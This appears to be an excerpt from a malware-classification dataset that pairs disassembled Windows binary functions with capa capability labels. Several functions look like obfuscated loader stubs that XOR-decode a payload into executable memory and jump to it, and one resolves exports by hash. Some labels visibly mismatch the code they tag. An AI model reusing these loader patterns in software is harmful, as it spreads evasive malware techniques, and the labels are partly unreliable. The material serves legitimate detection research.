joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40549c
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
and byte [ebp - 5], 0
push ebx
push esi
mov esi, 0x100
push edi
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x4097a8
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x4097a4
push str.Tele
push 0x4093c8
push 0x4093c4
push str.SOFT
push 0x4093b8
lea eax, [ebp - 0x6c]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_se_sings_
push eax
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x34
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x6c]
push 0
push eax
push 0x80000002
call ebx
test eax, eax
jne 0x4055d0
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.areacode
push dword [ebp - 4]
call esi
push str.connections
push dword [ebp - 4]
call esi
push str.domain
push dword [ebp - 4]
call esi
push str.firsttime
push dword [ebp - 4]
call esi
push str.minutes
push dword [ebp - 4]
call esi
push str.phonenumber
push dword [ebp - 4]
call esi
push str.username
push dword [ebp - 4]
call esi
push str.alternative
push dword [ebp - 4]
call esi
push 0x409918
push str.Tele
push 0x4093c8
push 0x4093c4
push str.SOFT
push 0x4093b8
lea eax, [ebp - 0xd0]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_s__
push eax
mov byte [ebp - 5], 1
call edi
add esp, 0x20
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0xd0]
push 0
push eax
push 0x80000002
call ebx
test eax, eax
jne 0x4055d0
push str.Settings
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404600
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x471b58]
test eax, eax
je 0x404615
push eax
call fcn.0042fc27
add esp, 4
mov eax, dword [0x471b5c]
test eax, eax
je 0x404627
push eax
call fcn.0042fc27
add esp, 4
mov eax, dword [0x471b54]
test eax, eax
je 0x404639
push eax
call fcn.0042fc27
add esp, 4
mov eax, dword [0x471b50]
test eax, eax
je 0x40464b
push eax
call fcn.0042fc27
add esp, 4
mov ecx, dword [0x473368]
test ecx, ecx
je 0x40467f
cmp dword [ecx + 4], 2
jne 0x404671
mov eax, dword [ecx + 0x18]
test eax, eax
je 0x404671
push eax
call fcn.0042fc27
mov ecx, dword [0x473368]
add esp, 4
mov eax, dword [ecx]
mov ecx, eax
mov dword [0x473368], ecx
test eax, eax
jne 0x404655
mov eax, dword [0x473360]
mov dword [0x473368], eax
test eax, eax
je 0x4046bb
mov ecx, eax
mov edx, eax
cmp dword [ecx + 4], 1
jne 0x4046ac
mov ecx, dword [edx + 0x18]
test ecx, ecx
je 0x4046ac
push ecx
call fcn.0042fc27
mov eax, dword [0x473368]
add esp, 4
mov eax, dword [eax]
mov ecx, eax
mov dword [0x473368], eax
mov edx, ecx
test ecx, ecx
jne 0x404691
call fcn.0040baf0
cmp dword [0x472d70], 0
je 0x404809
cmp dword [0x471b3c], 0
jne 0x4046df
cmp dword [0x471b40], 0
je 0x40471f
push dword [0x471b38]
push str._ASxxxx_Info_pass_count______________________3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
mov eax, dword [0x471b30]
add esp, 0xc
test eax, eax
je 0x40471f
push eax
push str._ASxxxx_Info_residual_fuzz___________________3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x473084]
push str._ASxxxx_Info_maxinc_include_file_level_______3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x47307c]
push str._ASxxxx_Info_maxmcr_macro_expansion_level____3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x473340]
push str._ASxxxx_Info_mcrcnt_macro_definitions________3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x47333c]
push str._ASxxxx_Info_mcrexe_macros_executed__________3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x473334]
push str._ASxxxx_Info_inlexe_inlines_executed_________3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x473090]
push str._ASxxxx_Info_asmblk_1K_Byte_Allocations______3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x47308c]
push str._ASxxxx_Info_mcrblk_1K_Byte_Allocations______3d_n
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push 0x45a4c0
push 2
call fcn.0042fada
add esp, 4
push eax
call fcn.004011b0
add esp, 8
push dword [ebp + 8]
call fcn.00430c68
int3
Function at 0x413848
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x413887
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x413887
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x413887
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x413887
cmp dword [ecx + 0x74], 0xe
jbe 0x413887
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x43f820
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043f418

Function at 0x43f82b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043f5a2

Function at 0x4407d6
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004406aa

Function at 0x44340b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00442dc9

Function at 0x4564a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4564cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4564cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40325b
pop dword [ebp - 0x24]
mov eax, 0xb22e11ce
sub eax, 0xb1eddf73
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x8cd09a88
sub dword [ebp - 0x34], 0x3e7e553d
mov dword [ebp - 0x30], 0x2b378907
sub dword [ebp - 0x30], 0xf9043cc2
mov dword [ebp - 0x2c], 0x2cd9efec
add dword [ebp - 0x2c], 0x1f725442
mov dword [ebp - 0x28], 0x7b67d2d4
add dword [ebp - 0x28], 0x84982d2c
lea eax, [ebp - 0x34]
push eax
mov eax, 0x309952d9
add eax, 0xcfa72d9f
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xce9ce2fe
add dword [ebp - 0x34], 0xa5d58658
mov dword [ebp - 0x30], 0x16a61045
add dword [ebp - 0x30], 0x2ac65130
mov dword [ebp - 0x2c], 0xe6826bec
sub dword [ebp - 0x2c], 0x8312ff80
mov dword [ebp - 0x28], 0x571df153
add dword [ebp - 0x28], 0xa8e20ead
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xb5abde32
add eax, 0x4a94a24a
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36718
push 0
call eax
mov ecx, 0x45a6
mov esi, eax
mov edx, 0xb732f3c1
sub edx, 0xb6eddfc1
add edx, dword [ebp - 0x24]
mov ebx, 0xcd0318c
sub ebx, 0x1d04f4c1
xor dword [ebp - 0xc], ecx
mov edi, dword [edx]
sub dword [ebp - 0x18], ecx
add edi, ebx
add dword [ebp - 0x14], edi
mov dword [esi], edi
sub dword [ebp - 0x10], 0x742cfa3e
add esi, 0xed055d03
add esi, 0x12faa301
add edx, 0x9cf7b6b5
sub edx, 0x9cf7b6b1
loop 0x403377
add eax, 0x83f1947b
sub eax, 0x83f08b10
mov ebx, eax
add eax, 0x881bf22e
sub eax, 0x881bf229
mov ecx, 0xdf182383
sub ecx, 0xded82383
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x100043c0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006534f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x1009a8a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, esi
and eax, 0xe0000000
cmp eax, 0x20000000
jg 0x1000449c
je 0x10004497
cmp eax, 0x80000000
je 0x10004497
test eax, eax
jne 0x100044a3
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::constructor_void_]
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Heap::constructor_void_]
mov eax, dword [0x1009bddc]
mov dword [ebp - 0x10], 0xa
mov ecx, dword [eax]
test ecx, ecx
je 0x1000444b
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::acquire_void_]
mov ecx, dword [edi]
push esi
mov byte [ebp - 4], 1
call fcn.10029bb0
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_class_ScCore::Variant____thiscall_ScCore::Variant::operator_unsigned_short_int_const__]
mov eax, dword [0x1009bddc]
mov byte [ebp - 4], 2
mov ecx, dword [eax]
test ecx, ecx
je 0x1000447c
mov eax, dword [ebp - 0x10]
lea ecx, [ecx + eax*4]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::release_void_]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_double___thiscall_ScCore::Variant::getDouble_void_const]
lea ecx, [ebp - 0x2c]
fstp qword [ebp - 0x14]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::destructor_void_]
jmp 0x100044bf
xorps xmm0, xmm0
jmp 0x100044ba
cmp eax, 0x40000000
je 0x100044af
and esi, 0x1fffffff
movd xmm0, esi
jmp 0x100044b6
movzx eax, si
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1001b9c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10067f55
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x1009a8a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Root::constructor_void_]
lea ecx, [esi + 8]
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScScript::ScopeInfo.0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::constructor_void_]
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::SparseArray::constructor_void_]
mov dword [esi + 0x2c], 0
mov eax, esi
mov dword [esi + 0x30], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x20], 0
mov dword [esi + 4], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0x10000
mov dword [esi + 0x14], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10029bb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10029bbf
pop dword [ebp - 0x40]
mov eax, 0x63e91530
add eax, 0xac19868f
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xacd10638
add dword [ebp - 0x50], 0xa1813f13
mov dword [ebp - 0x4c], 0x9c04bd27
add dword [ebp - 0x4c], 0x962e8f1e
mov dword [ebp - 0x48], 0xbe1a303
add dword [ebp - 0x48], 0x406aa12b
mov dword [ebp - 0x44], 0x9fa7cd77
add dword [ebp - 0x44], 0x60583289
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x3ad16e99
add dword [ebp - 0x50], 0x39a0fabd
mov dword [ebp - 0x4c], 0x20348d1e
add dword [ebp - 0x4c], 0x2137d457
mov dword [ebp - 0x48], 0x52471012
sub dword [ebp - 0x48], 0xeed7a3a6
mov dword [ebp - 0x44], 0x3ca0ffdc
add dword [ebp - 0x44], 0xc35f0024
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x6c6ed05c
sub eax, 0x5c67c054
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x43945
push 0
call eax
mov ecx, 0x62957511
add ecx, 0x9d6ac74e
xor edi, edi
add edi, eax
mov esi, 0x57a187e4
add esi, 0xb8693e1c
add esi, dword [ebp - 0x40]
mov ebx, 0xd1324bf
add dword [ebp - 0x10], 0x2b19597c
mov edx, dword [esi]
sub dword [ebp - 0xc], 0x9322fd1a
xor edx, ebx
add dword [ebp - 0x2c], 0x8135866e
mov dword [edi], edx
sub dword [ebp - 0x20], ecx
add edi, 0x1d534d6a
sub edi, 0x1d534d66
add esi, 0x8453ca5
sub esi, 0x8453ca1
loop 0x10029cd8
add eax, 0xe44f
xor ebx, ebx
add ebx, eax
add eax, 0xba54bbb1
sub eax, 0xba54bbac
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x44b310
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x452bb0]
cmp dword [eax + 0x30], 0
je 0x44b3ba
cmp dword [ebx + 0x94], 0
jne 0x44b3b4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44b2a0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44b3b4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44b37a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44b3b4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413998
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44b389
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44bf1c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44bf51
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404070
jmp 0x44bf5e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fd4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44d040
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44d081
mov eax, esi
call fcn.004337bc
test al, al
je 0x44d081
mov eax, dword [ebx + 0x84]
call fcn.0043355c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44d081
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043355c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x480428
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x480447
cmp eax, dword [esp + 0x28]
je 0x48045e
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x48043e
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
mov dword [esp + 0x1c], edx
popal
ret 8
Function at 0x401981
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x401990
pop dword [ebp - 0x14]
mov eax, 0x5dac385c
sub eax, 0x5d6c1ecc
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xb8ac5aa1
sub dword [ebp - 0x24], 0x6a5a1556
mov dword [ebp - 0x20], 0xb136686
sub dword [ebp - 0x20], 0xd8e01a41
mov dword [ebp - 0x1c], 0x4725cadb
sub dword [ebp - 0x1c], 0xfad986ad
mov dword [ebp - 0x18], 0x948960b1
sub dword [ebp - 0x18], 0x948960b1
lea eax, [ebp - 0x24]
push eax
mov eax, 0xc8ce723c
add eax, 0x37725e18
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xf4c9f88b
add dword [ebp - 0x24], 0x7fa870cb
mov dword [ebp - 0x20], 0x24ac084f
sub dword [ebp - 0x20], 0xe33fa6da
mov dword [ebp - 0x1c], 0x5fee24d2
sub dword [ebp - 0x1c], 0xfc7eb866
mov dword [ebp - 0x18], 0xf2db3e06
sub dword [ebp - 0x18], 0xf2db3e06
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xa2bbddf5
add eax, 0x5d84f257
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3a941
push 0
call eax
mov ecx, 0x7f42b7b5
sub ecx, 0x7f426b8f
xor esi, esi
add esi, eax
mov edx, 0x9be12a30
add edx, 0x646085d0
add edx, dword [ebp - 0x14]
mov ebx, 0xb96b120f
add ebx, 0xbaaff135
xor dword [ebp - 4], 0xb6ceb97d
mov edi, dword [edx]
sub dword [ebp - 0xc], 0x9248e0d9
sub edi, ebx
mov dword [ebp - 8], 0x606cb976
mov dword [esi], edi
xor dword [ebp - 0x10], esi
add esi, 4
add edx, 0x5a9cd3f2
sub edx, 0x5a9cd3ee
loop 0x401ab4
add eax, 0x1a9ddb42
sub eax, 0x1a9cb7d7
xor ebx, ebx
add ebx, eax
add eax, 0xd857ea03
sub eax, 0xd857e9fe
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1000f197
pop dword [ebp - 0x1c]
mov eax, 0x9fdefb1b
sub eax, 0x8fde0984
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x36019
push 0
mov eax, 0x586c9657
sub eax, 0x486b55f3
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x9125b237
sub ecx, 0x91257683
mov edx, eax
mov ebx, 0x10018600
add ebx, dword [ebp - 0x1c]
mov esi, 0xcb470bcc
add esi, 0x9076f1a2
add dword [ebp - 0x10], eax
mov edi, dword [ebx]
xor edi, esi
mov dword [ebp - 8], 0xb25a90e3
mov dword [edx], edi
sub dword [ebp - 0x18], edx
add edx, 0x9c138f3f
add edx, 0x63ec70c5
add ebx, 0xec70c6c5
sub ebx, 0xec70c6c1
loop 0x1000f1f0
add eax, 0xf9b1cd40
add eax, 0x64f1463
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x36ccce3c
sub ecx, 0x26ccce3c
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x6d01181c
Capabilities:
Check os version

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersion]
call esi
cmp al, 5
jb 0x6d011832
call esi
shr eax, 8
cmp al, 1
jae 0x6d011838
call esi
cmp al, 5
jbe 0x6d011850
push 0
push dword [esp + 0x10]
push 0x6d0117d0
push dword [esp + 0x14]
call sub.COMCTL32.dll_SetWindowSubclass
xor eax, eax
jmp 0x6d011860
push dword [esp + 0xc]
push 0xfffffffffffffffc
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetWindowLongW]
pop esi
ret 8

Function at 0x6d011864
Capabilities:
Check os version

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersion]
call esi
cmp al, 5
jb 0x6d01187a
call esi
shr eax, 8
cmp al, 1
jae 0x6d011880
call esi
cmp al, 5
jbe 0x6d011894
push dword [esp + 0xc]
push 0x6d0117d0
push dword [esp + 0x10]
call sub.COMCTL32.dll_RemoveWindowSubclass
jmp 0x6d0118a4
push dword [esp + 0x10]
push 0xfffffffffffffffc
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetWindowLongW]
pop esi
ret 0xc
Function at 0x6d011a40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, ecx
mov edx, dword [esp + 4]
mov dword [eax], vtable.D3DContext.0
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
movzx ecx, byte [edx + 0xc]
mov byte [eax + 0xc], cl
push esi
fld dword [edx + 0x10]
push edi
fstp dword [eax + 0x10]
movzx ecx, byte [edx + 0x14]
mov byte [eax + 0x14], cl
mov ecx, dword [edx + 0x18]
mov dword [eax + 0x18], ecx
mov ecx, dword [edx + 0x1c]
mov dword [eax + 0x1c], ecx
mov ecx, dword [edx + 0x20]
mov dword [eax + 0x20], ecx
mov ecx, dword [edx + 0x24]
mov dword [eax + 0x24], ecx
mov ecx, dword [edx + 0x28]
mov dword [eax + 0x28], ecx
mov ecx, dword [edx + 0x2c]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edx + 0x30]
mov dword [eax + 0x30], ecx
mov ecx, dword [edx + 0x34]
mov dword [eax + 0x34], ecx
mov ecx, dword [edx + 0x38]
mov dword [eax + 0x38], ecx
mov ecx, dword [edx + 0x3c]
mov dword [eax + 0x3c], ecx
mov ecx, dword [edx + 0x40]
mov dword [eax + 0x40], ecx
mov ecx, dword [edx + 0x44]
mov dword [eax + 0x44], ecx
mov ecx, dword [edx + 0x48]
mov dword [eax + 0x48], ecx
mov ecx, dword [edx + 0x4c]
mov dword [eax + 0x4c], ecx
mov ecx, dword [edx + 0x50]
mov dword [eax + 0x50], ecx
mov ecx, dword [edx + 0x54]
mov dword [eax + 0x54], ecx
mov ecx, dword [edx + 0x58]
mov dword [eax + 0x58], ecx
mov ecx, dword [edx + 0x5c]
mov dword [eax + 0x5c], ecx
mov ecx, dword [edx + 0x60]
mov dword [eax + 0x60], ecx
mov ecx, dword [edx + 0x64]
mov dword [eax + 0x64], ecx
mov ecx, dword [edx + 0x68]
mov dword [eax + 0x68], ecx
mov ecx, dword [edx + 0x6c]
mov dword [eax + 0x6c], ecx
mov ecx, dword [edx + 0x70]
mov dword [eax + 0x70], ecx
mov ecx, dword [edx + 0x74]
mov dword [eax + 0x74], ecx
mov ecx, dword [edx + 0x78]
mov dword [eax + 0x78], ecx
mov ecx, dword [edx + 0x7c]
mov dword [eax + 0x7c], ecx
mov ecx, dword [edx + 0x80]
mov dword [eax + 0x80], ecx
mov ecx, dword [edx + 0x84]
mov dword [eax + 0x84], ecx
mov ecx, dword [edx + 0x88]
mov dword [eax + 0x88], ecx
mov ecx, dword [edx + 0x8c]
mov dword [eax + 0x8c], ecx
mov ecx, dword [edx + 0x90]
mov dword [eax + 0x90], ecx
lea esi, [edx + 0x94]
lea edi, [eax + 0x94]
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
lea esi, [edx + 0xcc]
lea edi, [eax + 0xcc]
mov ecx, 0x4c
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 0x1fc]
mov dword [eax + 0x1fc], ecx
mov ecx, dword [edx + 0x200]
mov dword [eax + 0x200], ecx
mov ecx, dword [edx + 0x204]
mov dword [eax + 0x204], ecx
mov ecx, dword [edx + 0x208]
mov dword [eax + 0x208], ecx
mov ecx, dword [edx + 0x20c]
mov dword [eax + 0x20c], ecx
mov ecx, dword [edx + 0x210]
mov dword [eax + 0x210], ecx
mov edx, dword [edx + 0x214]
pop edi
mov dword [eax + 0x214], edx
pop esi
ret 4
Function at 0x6d011bd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, ecx
mov edx, dword [esp + 4]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
movzx ecx, byte [edx + 0xc]
mov byte [eax + 0xc], cl
push esi
fld dword [edx + 0x10]
push edi
fstp dword [eax + 0x10]
movzx ecx, byte [edx + 0x14]
mov byte [eax + 0x14], cl
mov ecx, dword [edx + 0x18]
mov dword [eax + 0x18], ecx
mov ecx, dword [edx + 0x1c]
mov dword [eax + 0x1c], ecx
mov ecx, dword [edx + 0x20]
mov dword [eax + 0x20], ecx
mov ecx, dword [edx + 0x24]
mov dword [eax + 0x24], ecx
mov ecx, dword [edx + 0x28]
mov dword [eax + 0x28], ecx
mov ecx, dword [edx + 0x2c]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edx + 0x30]
mov dword [eax + 0x30], ecx
mov ecx, dword [edx + 0x34]
mov dword [eax + 0x34], ecx
mov ecx, dword [edx + 0x38]
mov dword [eax + 0x38], ecx
mov ecx, dword [edx + 0x3c]
mov dword [eax + 0x3c], ecx
mov ecx, dword [edx + 0x40]
mov dword [eax + 0x40], ecx
mov ecx, dword [edx + 0x44]
mov dword [eax + 0x44], ecx
mov ecx, dword [edx + 0x48]
mov dword [eax + 0x48], ecx
mov ecx, dword [edx + 0x4c]
mov dword [eax + 0x4c], ecx
mov ecx, dword [edx + 0x50]
mov dword [eax + 0x50], ecx
mov ecx, dword [edx + 0x54]
mov dword [eax + 0x54], ecx
mov ecx, dword [edx + 0x58]
mov dword [eax + 0x58], ecx
mov ecx, dword [edx + 0x5c]
mov dword [eax + 0x5c], ecx
mov ecx, dword [edx + 0x60]
mov dword [eax + 0x60], ecx
mov ecx, dword [edx + 0x64]
mov dword [eax + 0x64], ecx
mov ecx, dword [edx + 0x68]
mov dword [eax + 0x68], ecx
mov ecx, dword [edx + 0x6c]
mov dword [eax + 0x6c], ecx
mov ecx, dword [edx + 0x70]
mov dword [eax + 0x70], ecx
mov ecx, dword [edx + 0x74]
mov dword [eax + 0x74], ecx
mov ecx, dword [edx + 0x78]
mov dword [eax + 0x78], ecx
mov ecx, dword [edx + 0x7c]
mov dword [eax + 0x7c], ecx
mov ecx, dword [edx + 0x80]
mov dword [eax + 0x80], ecx
mov ecx, dword [edx + 0x84]
mov dword [eax + 0x84], ecx
mov ecx, dword [edx + 0x88]
mov dword [eax + 0x88], ecx
mov ecx, dword [edx + 0x8c]
mov dword [eax + 0x8c], ecx
mov ecx, dword [edx + 0x90]
mov dword [eax + 0x90], ecx
lea esi, [edx + 0x94]
lea edi, [eax + 0x94]
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
lea esi, [edx + 0xcc]
lea edi, [eax + 0xcc]
mov ecx, 0x4c
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 0x1fc]
mov dword [eax + 0x1fc], ecx
mov ecx, dword [edx + 0x200]
mov dword [eax + 0x200], ecx
mov ecx, dword [edx + 0x204]
mov dword [eax + 0x204], ecx
mov ecx, dword [edx + 0x208]
mov dword [eax + 0x208], ecx
mov ecx, dword [edx + 0x20c]
mov dword [eax + 0x20c], ecx
mov ecx, dword [edx + 0x210]
mov dword [eax + 0x210], ecx
mov edx, dword [edx + 0x214]
pop edi
mov dword [eax + 0x214], edx
pop esi
ret 4